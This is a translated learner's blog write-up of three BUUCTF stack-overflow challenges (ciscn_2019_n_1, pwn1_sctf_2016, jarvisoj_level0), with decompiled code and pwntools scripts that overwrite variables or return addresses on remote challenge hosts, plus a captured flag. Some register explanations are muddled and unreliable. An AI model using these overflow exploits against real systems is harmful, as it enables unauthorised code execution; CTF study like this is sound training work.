Daily 3 PWN (Second Day) Version 2.0

ciscn_2019_n_1

reference:

[BUUCTF-pwn]——ciscn_2019_n_1-CSDN blog

[BUUCTF]PWN5——ciscn_2019_n_1_ciscn_2019_n_4-CSDN Blog

BUUCTF—ciscn_2019_n_1 1-CSDN Blog

checksec

64-bit + stack overflow

Press f5 to view the main function and double-click the suspicious function

Found containing command execution and flag found

Problem-solving ideas 1:

The meaning of this question is to input the string v1 and determine v2. Make the length of string v1 overflow and cover it into the memory space where v2 is stored (why it can be overwritten, I have said it in the previous drawing. Under normal circumstances, it is called overflow), change the value of v2, and make v2 equal to 11.28125 (note, First we need to find the hexadecimal expression of 11.28125, because we cannot pass in a float type when constructing the payload).

Here comes the point

The offset of v1 is 0x30=48 (decimal),but v1 is 44

Then you see that v2 is 0x4=4, which is exactly 44+4=48=0x30. What does this mean? The structure of v1 and v2 is like this

rbp also includes rsp (what is rsp? Soso)

When the function returns,rsp will be used to release the space.

Now that I understand a little bit, let me give you some popular science.

In a 32-bit program, there are these registers: ebp (top of stack), esp (bottom of stack), and eax for saving data. There is also a small pointer called eip, which points to where it is running. The purpose is to let you see where it is running.

In a 64-bit program, there are these registers: rbp (top of stack), rsp (bottom of stack), and rax for saving data. Of course there is also something called rip~

Then I will explain why 8 is added here, because the default size of rbp in 64-bit programs is 0x8. Only by overwriting this rbp can it overflow to ret, and finally execute what you want to execute.

The default size of ebp in 32-bit programs is 0x4. Only by overwriting this ebp can it overflow to ret and finally execute what you want to execute.

The hexadecimal number of 11.28125 can be found in the question.

Questions like this can usually be found in the questions, so you can secretly learn how to convert them.

tip: ucomiss means comparison.

  • ucomiss: unsigned comparison of two single-precision floating point numbers
  • jp: Conditional jump instruction, if the parity flag is 1, jump
  • movss: Copies a single-precision floating point value from one location to another
  • jnz: conditional jump instruction, jump if not equal to zero
  • jmp: unconditional jump instruction

So through this logo, we can find that the hexadecimal number of 11.28125 is 0x41348000

Construct exp (method 1 - override)

from pwn import *
# ciscn_2019_n_1
nc=remote("node4.buuoj.cn",29189)
# 第一种写法
# payload = 'a' * (0x30-0x4) + p64(0x41348000).decode("iso-8859-1")

# 第二种写法
payload = b'a' * (0x30-0x4)+p64(0x41348000)  
nc.sendline(payload)
nc.interactive()

Solution idea 2:

After overflowing the length of string v1, let ret (that is, return) point to the address of cat/flag

The principle is to fill v1 (v1 includes v2) and rbp, which is 0x30+0x8.

Then let ret point to the address of cat /flag.

Now let’s find the address. Look for the gray one, which corresponds to 0x4006BE.

Construct exp (method 2 - overflow)

from pwn import *
# ciscn_2019_n_1
nc=remote("node4.buuoj.cn",29189)
# 第一种写法
payload = 'a' * (0x30+0x8) + p64(0x4006BE).decode("iso-8859-1")

# 第二种写法
# payload = b'a' * (0x30+0x8)+p64(0x4006BE)     #输入payload来进行操作以拿到程序的shell,0x40+8=0x48
# # 其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式

nc.sendline(payload)
nc.interactive()

Given by other bloggersAdditional (I don’t know what the use is, so I put it here for you)

Variable type Storage size
db one byte
dw two bytes
dd four bytes
df six bytes
dq eight bytes

Question: Actually there is another question here. Why can the final return address directly point to the cat /flag after the if judgment? I feel it is very magical. Maybe it is because I have not learned assembly. Someone who knows assembly can tell me. Tell me

I learned a little bit from watching the video. Stacks are stacks of stacks, stacked high, just like hamburgers. The data is stacked like this. In order to identify each line of your code, there is an address, because it is If they are stacked vertically, there is no inclusion relationship, so they can be used at will according to the address. How do I understand it now.

Summary:

1. Learned stack overflow and overwriting (overwriting requires special circumstances to use)

2. I understand the general concept of offset and feel that it is enough for novices. Let’s study it slowly, hehe.

3. The stack is the hamburger, esp is the bottom of the stack, ebp is the top of the stack, and eib is like a pointer (or mouth), pointing where and which layer to run exactly.


pwn1_sctf_2016

reference:

[BUUCTF]PWN4——pwn1_sctf_2016-CSDN Blog

Getting Started from a Sea of ​​Questions (5) pwn1_sctf_2016 - FreeBuf Network Security Industry Portal

(buuctf) - pwn entry part wp - rip -- pwn1_sctf_2016 - J1ay - Blog Park (cnblogs.com)

checksec

Accidentally saw this PIE: No PIE (0x8048000)0x8048000

I was a little curious and searched it

No PIE" means that the executable does not have PIE enabled, so the load base address is set to 0x8048000. This address will be the starting address of the program in memory.

Analyze 32-bit+stack overflow. It’s the first time I’ve seen a 32-bit person, so I have to take a closer look.

I found that both 64-bit and 32-bit can be opened, and then I searched

There may be some potential disadvantages or limitations when using 64-bit IDA to open 32-bit programs, including the following:

  1. Instruction set and registers: 64-bit IDA uses the x86-64 instruction set and 64-bit registers by default, while 32-bit programs use the x86 instruction set and 32-bit registers. This means that when viewing and analyzing 32-bit programs in 64-bit IDA, the display of registers and instruction sets may not be intuitive or accurate.

  2. Memory addressing: 32-bit programs use 32-bit address space, while 64-bit IDA uses 64-bit address space by default. This may cause memory address display to be truncated or confused when analyzing 32-bit programs in 64-bit IDA,making the analysis process more complicated< /span>

  3. Calling convention: 32-bit programs and 64-bit programs use different calling conventions, such as parameter passing methods and stack usage rules. 64-bit IDA uses the x64 calling convention by default, which may cause the passing of function parameters and the use of stacks to be parsed or displayed incorrectly when analyzing 32-bit programs.

  4. Plug-in and script compatibility: Some plug-ins and scripts may be written for specific architectures. If you use 64-bit IDA to open a 32-bit program, the plug-in or script may be incompatible, resulting in abnormal functionality or unusability.

Press f5 and enter the vuln function

This time the code is very. . . Unfriendly, I am not good at learning C language, I only learned a basic level, so I can only turn to AI and other bloggers for help.

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");


  fgets(&s, 32, edata); // Read s variable 3 and give cache space of 32 (equivalent to 0x20), but note that the real size of s is 0x3c

           

  std::string::operator=(&input, &s); // Assign s as the input string to the std::string object input


  std::allocator<char>::allocator(&v5); // Used to create a std::allocator object and initialize it to the address of v5


  std::string::string(&v4, "you", &v5); //Used to create a std::string object and initialize it to the address of v4, "you" is assigned to std::string object v4

Question: So what happened to v5? Just create it and then it’s gone?

ai answer: v5 is not simply "created and then gone", but plays a role in memory allocation in the life cycle of the std::string object.


  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);


  replace((std::string *)&v3); // Find "you" in the input and replace it with "I"
  std::string: :operator=(&input, &v3, &v6, &v4);//Assign the processed string to input

// 销毁中间字符串对象
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);


  v0 = (const char *)std::string::c_str((std::string *)&input); Get the C string representation of the processed string and copy it to s, there may be a buffer overflow


  strcpy(&s, v0); //Assign the processed v0 to s


  return printf("So, %s\n", &s);

Generally speaking, the overflow point is s, but the size of s is 0x20. It is impossible to overflow to 0x30. An error will be reported, and it is impossible to reach the overflow step. That is to say, if we fill s, it cannot overflow.

But the general meaning behind the code is that if there is i in the s variable, change i into you, so that it can overflow!

The size of 32 I is equivalent to 32*3=96=0x60. That means you can't use 32 directly. Let's do the math. Suppose we should use x I's.

60-x*3=0——>x=20

shift+f12, find the exploit point

The vulnerability is in the get_flag function

The last address is 0x8048F13, but other bloggers use 0x8048f0d. I tried it, and it’s the same.

Construct exp

Why do we need to add 4 a's? The character a definitely doesn't matter. It will be fine if we don't use I, but it will crash if we use I.

Because 32-bit ebp requires 0x4 size to cover, only after covering this can we continue to cover the address we want. This is some knowledge of assembly.

from pwn import *
# pwn1_sctf_2016
nc=remote("node4.buuoj.cn",28376)
# 第一种写法
# payload = 'I' * 0x14 +'a'* 0x4+ p32(0x8048F13).decode("iso-8859-1")
# 第二种写法
payload = b'I' * 20 + b'a' * 4 + p32(0x8048f0d)
nc.sendline(payload)
nc.interactive()

The code is very complicated. Learn dynamic debugging from other bloggers and study it.

Dynamic debugging (if you haven’t solved this problem before, it’s a bit difficult)


yearbooks_level0

No more analysis, it’s a stack overflow if nothing else happens (wearing sunglasses)

f5 to enter

write(1, "Hello, World\n", 0xDuLL);

  • write is a system call function used to write data to a file descriptor. The first parameter 1 indicates that the file descriptor to be written is a standardoutput device, and the second parameter "Hello, World\n" is the The data to be written, the third parameter 0xDuLL indicates the length of the data to be written.
  • "Hello, World\n" is a string constant terminated by the null character '\0' and has a length of 13 (including the trailing newline character).
  • 0xDuLL is a hexadecimal number representing the unsigned long value of the decimal number 13. Since the length of the string to be printed is 13, use this value to specify the length of the data to be written.

Click to enter vulnerable_function

Not to mention, the vulnerability point - read overflow, used to be get overflow. (Actually, I just learned about this vulnerability, hahahaha)

Variable buf size 0x80

return read(0, &buf, 0x200uLL);

Let’s study the read function

  • read is a system call function used to read data from a file descriptor. The first parameter 0 indicates that the file descriptor to be read is a standard input device, and the second parameter &buf is a pointer to the buffer. , the third parameter 0x200uLL represents the maximum number of bytes to be read.
  • &buf is a pointer to the buf variable, which is the address of the buffer. The read function stores data read from the standard input device into this buffer.
  • 0x200uLL is a hexadecimal number representing the unsigned long integer value of 512 in decimal. Since the maximum number of bytes read is specified to be 512, use this value to limit the length of data read.

That is, just press the get method to overflow normally.

Find the location where the flag can be obtained, shift+f12 to find /bin/sh, double-click to follow

Double-click to follow the callsystem function

You can press space to become like me

Address bit 0x40059A

Construct exp

from pwn import *
# jarvisoj_level0
nc=remote("node4.buuoj.cn",27806)
# 第一种写法
# payload = 'a' * (0x80+0x8) + p64(0x40059A).decode("iso-8859-1")
# 第二种写法
payload = b'a' * (0x80+0x8)+p64(0x40059A)
nc.sendline(payload)
nc.interactive()

Note that this question is about shell environment, don’t wait for the flag, enter ls;cat fla*

ls;cat flag   输入命令!!
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
flag{c63e8700-78a9-47d9-9fbd-2beec11989eb}

Dynamic debugging

PWN dynamic debugging-CSDN blog


I also looked at some B stations today, and I will briefly summarize them for myself.

XMCVE 2020 CTF Pwn Introductory Course_bilibili_bilibili

The summary is incomplete, I will add more tomorrow

I studied the first two videos today and watched half of the second video.

After understanding the C language, you need to go through the following three processes to make the machine run according to instructions. Machine intelligence understands machine code, so it must be compiled.

Then the question arises, what is the use of compilation? Isn’t it faster to assemble a high-level language like C language directly and turn it into machine code?

ai answer

Although directly assembling C language into machine code may achieve higher performance, the assembly step in the compilation process can provide better portability, development efficiency, optimization capabilities, and code readability and maintainability. Therefore, in most cases, we use C language to compile assembly code and then generate machine code to balance the trade-off between performance and development efficiency.

The function of IDA is to disassemble and decompile. Disassembly is to look up the table. For example, 0x55 is push ebp, so there is a one-to-one correspondence. But decompiling seems to be difficult.

3. Assembly instructions mov, rbp

4. Dynamic debugging

5. Principle of stack

Guess you like

Origin blog.csdn.net/m0_71274136/article/details/134736777